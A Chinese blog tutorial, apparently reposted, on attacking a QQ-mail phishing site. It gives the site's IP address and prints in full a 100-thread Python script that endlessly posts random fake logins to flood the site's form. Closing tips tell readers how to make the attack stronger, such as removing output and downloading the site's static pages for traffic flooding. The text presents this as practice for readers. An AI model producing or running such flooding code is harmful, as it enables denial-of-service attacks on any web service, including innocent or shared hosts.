【python】如何优雅地跟盗号网站玩耍(python多线程和http请求基础)

PHP编程技术 网络投稿 2021-12-15 11:18 1072 0

一、背景

今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/

这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。

file

之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看看。大家

没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS入手,至于更加高深

的渗透,博主不会,大多数人也不会,所以也就不考虑了。

二、分析网站

通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:

file

服务器地址在美国,web应用程序是IIS。

F12打开浏览器控制台,随便输入一个账号密码看看:

file

捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=

网页反馈密码错误,然后跳到了qq邮箱的官网。

post的参数如下:

file

这个参数名是认真的么 – -!

我们要进行DDOS,那么就要从这个post请求入手。

三、构建DDOS程序

我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。

1.构建随机账号密码

def random_user_pass():
    user = random.randint(10**5,10**10)     #随机5-10位QQ号
    password = ''
    password_len = random.randint(9,28)     #随机9-28位密码
    for i in range(password_len):
        code = random.randint(48,122)       #取ASCII码48-122转为字符串
        password += chr(code)
    return user,password

运行一下,随机生成了一个账号密码:

(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')

2.调用生成的账号密码,post给盗号网站

原理很简单,就是通过requests构建post请求,将数据发送给盗号网站,模拟网页“登录”的操作。

def d_dos():
    session = requests.session()
    session.headers = header    while True:
        user,password = random_user_pass()
        data = {
            'qq':user,
            'mima':password,
            'MM_insert':'form1'
        }
        r = session.post(api,data=data,timeout=5)
        code = r.status_code        if code == 200:
            print('提交成功...OK!  账号:{},密码: {}'.format(user,password))
        else:
            print('提交失败...failed!')

运行一下,一瞬间提交给了盗号网站N多随机账号密码:

file

3.加点错误处理,保证稳定运行

上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:

        try:
            r = session.post(api,data=data,timeout=5)
        except:
            print('报错,直接跳过...')
            continue

4.加个多线程

单线程的请求当然是搞不死这个网站的,所以我们要对这个程序使用多线程处理

    thread_num = 100
    for i in range(thread_num):
        threading.Thread(target=d_dos).start()
        print('线程{}启动...'.format(i))

这样我们就成功实现了100线程的同时请求,运行一下:

file

控制台疯狂刷新。

5.优化一下,加个线程锁

到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。
完整代码如下

import requestsimport threadingimport randomfrom datetime import datetimefrom time import sleeplock = threading.Lock()api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='header = {
    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'}success_count = 0error_count = 0def log(text):
    print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)def d_dos():
    session = requests.session()
    session.headers = header    global error_count    global success_count    while True:
        user,password = random_user_pass()
        data = {
            'qq':user,
            'mima':password,
            'MM_insert':'form1'
        }
        try:
            r = session.post(api,data=data,timeout=5)
        except:
            lock.acquire()
            log('报错,直接跳过... *{}'.format(error_count))
            error_count += 1
            lock.release()
            continue
        code = r.status_code        lock.acquire()
        if code == 200:
            log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password))
            success_count +=1
        else:
            log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code))
            error_count += 1
        lock.release()def random_user_pass():
    user = random.randint(10**5,10**10)
    password = ''
    password_len = random.randint(9,28)
    for i in range(password_len):
        code = random.randint(48,122)
        password += chr(code)
    return user,passwordif __name__ == '__main__':
    thread_num = 100
    for i in range(thread_num):
        threading.Thread(target=d_dos).start()
        log('线程{}启动...'.format(i))
        sleep(0.1)


file

四、其他

以下几点注意:

1. requests库python不自带,用pip安装即可
2. 因为是示范用的代码,代码写的十分辣眼睛,还有很多优化空间,不要介意
3. 把控制台输出去掉,可以极大提升DDOS的性能(去掉print的代码)
4. 因为python的多线程机制,和requests库的原因,建议不要开太高线程,电脑容易卡死
5. 如果想要用DDOS里的流量攻击,那么可以去下载他的静态资源或者web页面
6. 这个程序其实严格意义来说是cc攻击,并发提交大量的无意义数据,刷他的数据库
7. 不要用于正规网站,通过你的IP分分钟查得到你的人